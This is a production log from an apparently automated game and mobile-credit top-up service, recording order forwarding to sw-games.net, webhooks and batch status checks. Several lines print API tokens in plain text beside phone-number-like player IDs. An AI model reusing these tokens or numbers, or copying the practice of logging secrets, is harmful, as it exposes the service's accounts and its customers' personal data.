[2026-03-24 11:18:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:18:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:18:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"FFHxgdqxtzhbaCpvcnntcspBEWBcjlgu","execution_time":"2026-03-24 11:18:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:20:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02"} 
[2026-03-24 11:20:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","total_operations":2,"sites_count":1} 
[2026-03-24 11:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:20:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:20:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:20:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:20:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"wnjtsJa85YLtPWabc0DyKlRh7fEaYnai","execution_time":"2026-03-24 11:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 11:20:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 11:20:04] production.INFO: async() رجع: true  
[2026-03-24 11:20:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:20:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:20:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:20:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:20:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:20:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:20:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:20:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:20:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:20:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:20:06] production.INFO: Constructing job for order: 178569  
[2026-03-24 11:20:09] production.INFO: Handling job for order: 178569  
[2026-03-24 11:20:09] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:20:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:20:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=351085bb-a8de-42fc-bba2-5950ba372831&Player_ID=0969568265  
[2026-03-24 11:20:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=351085bb-a8de-42fc-bba2-5950ba372831&Player_ID=0969568265","has_body":false} 
[2026-03-24 11:20:09] production.INFO: Operation sent successfully {"operation_id":163500,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Fhu-1774340409","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 11:20:09"}},"processed_data":{"order_number":"ORD-Fhu-1774340409","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 11:21:03] production.INFO: Constructing job for order: 178570  
[2026-03-24 11:21:06] production.INFO: Handling job for order: 178570  
[2026-03-24 11:21:06] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:21:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:21:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=2b412834-134d-434a-b330-cbf4619cdd68&Player_ID=0996193020  
[2026-03-24 11:21:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=2b412834-134d-434a-b330-cbf4619cdd68&Player_ID=0996193020","has_body":false} 
[2026-03-24 11:21:07] production.INFO: Operation sent successfully {"operation_id":163501,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jykEqPO4-1774340467","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:21:07"}},"processed_data":{"order_number":"ORD-jykEqPO4-1774340467","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:21:10] production.INFO: Constructing job for order: 178571  
[2026-03-24 11:21:13] production.INFO: Handling job for order: 178571  
[2026-03-24 11:21:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:21:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:21:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=80d0c331-b394-460a-91f5-1ed47b4af666&Player_ID=471156  
[2026-03-24 11:21:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=80d0c331-b394-460a-91f5-1ed47b4af666&Player_ID=471156","has_body":false} 
[2026-03-24 11:21:14] production.INFO: Operation sent successfully {"operation_id":163502,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rN1e-1774340474","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 11:21:14"}},"processed_data":{"order_number":"ORD-rN1e-1774340474","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 11:21:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-rN1e-1774340474","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 11:21:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-rN1e-1774340474","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 11:21:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:21:20] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178571} 
[2026-03-24 11:21:20] production.INFO: Order updated successfully. Order ID: 178571, Status: completed  
[2026-03-24 11:21:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-rN1e-1774340474","status":"completed","codes_count":0} 
[2026-03-24 11:21:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 11:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02"} 
[2026-03-24 11:22:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","total_operations":4,"sites_count":2} 
[2026-03-24 11:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:22:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:22:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:22:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-Fhu-1774340409","ORD-jykEqPO4-1774340467"]} 
[2026-03-24 11:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:22:02] production.INFO: Constructing job for order: 178573  
[2026-03-24 11:22:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 11:22:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 11:22:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 11:22:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"count":2} 
[2026-03-24 11:22:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"count":2} 
[2026-03-24 11:22:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"user_id":949,"notification_type":"order_approved","reference_id":178569} 
[2026-03-24 11:22:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"user_id":1056,"notification_type":"order_approved","reference_id":178570} 
[2026-03-24 11:22:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 11:22:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 11:22:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"processed":2,"errors":0} 
[2026-03-24 11:22:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501,"processed":2,"errors":0} 
[2026-03-24 11:22:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"srFIYuvc0QwBgGGYqkzezVoYCiowpDrh","execution_time":"2026-03-24 11:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jykEqPO4-1774340467","operation_id":163501} 
[2026-03-24 11:22:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 11:22:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 11:22:05] production.INFO: Handling job for order: 178573  
[2026-03-24 11:22:05] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:22:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:22:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=de026368-2563-4cde-99d0-2960f1765349&Player_ID=0996193020  
[2026-03-24 11:22:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=de026368-2563-4cde-99d0-2960f1765349&Player_ID=0996193020","has_body":false} 
[2026-03-24 11:22:06] production.INFO: Operation sent successfully {"operation_id":163503,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-azGmFC-1774340526","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:22:06"}},"processed_data":{"order_number":"ORD-azGmFC-1774340526","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:22:37] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 11:22:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 11:22:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 11:22:59] production.INFO: Constructing job for order: 178574  
[2026-03-24 11:23:00] production.INFO: Handling job for order: 178574  
[2026-03-24 11:23:00] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:23:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:23:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=c705c413-ea3b-4205-955e-28bc1de7f39b&Player_ID=0998814541  
[2026-03-24 11:23:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=c705c413-ea3b-4205-955e-28bc1de7f39b&Player_ID=0998814541","has_body":false} 
[2026-03-24 11:23:01] production.INFO: Operation sent successfully {"operation_id":163504,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-uW3W3uco-1774340581","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:23:01"}},"processed_data":{"order_number":"ORD-uW3W3uco-1774340581","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:23:44] production.INFO: Constructing job for order: 178575  
[2026-03-24 11:23:46] production.INFO: Handling job for order: 178575  
[2026-03-24 11:23:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:23:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:23:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=f09a0be1-da48-4922-b51e-83dcf44d1d1b&Player_ID=471156  
[2026-03-24 11:23:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=f09a0be1-da48-4922-b51e-83dcf44d1d1b&Player_ID=471156","has_body":false} 
[2026-03-24 11:23:47] production.INFO: Operation sent successfully {"operation_id":163505,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ibfXZx8-1774340626","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 11:23:47"}},"processed_data":{"order_number":"ORD-ibfXZx8-1774340626","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 11:23:50] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ibfXZx8-1774340626","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 11:23:50] production.INFO: Processed webhook data (normalized) {"id":"ORD-ibfXZx8-1774340626","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 11:23:50] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:23:50] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178575} 
[2026-03-24 11:23:50] production.INFO: Order updated successfully. Order ID: 178575, Status: completed  
[2026-03-24 11:23:50] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ibfXZx8-1774340626","status":"completed","codes_count":0} 
[2026-03-24 11:23:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 11:24:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02"} 
[2026-03-24 11:24:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","total_operations":4,"sites_count":2} 
[2026-03-24 11:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-azGmFC-1774340526","ORD-uW3W3uco-1774340581"]} 
[2026-03-24 11:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 11:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 11:24:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 11:24:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"count":2} 
[2026-03-24 11:24:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"count":2} 
[2026-03-24 11:24:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"user_id":1056,"notification_type":"order_approved","reference_id":178573} 
[2026-03-24 11:24:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"user_id":1056,"notification_type":"order_approved","reference_id":178574} 
[2026-03-24 11:24:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
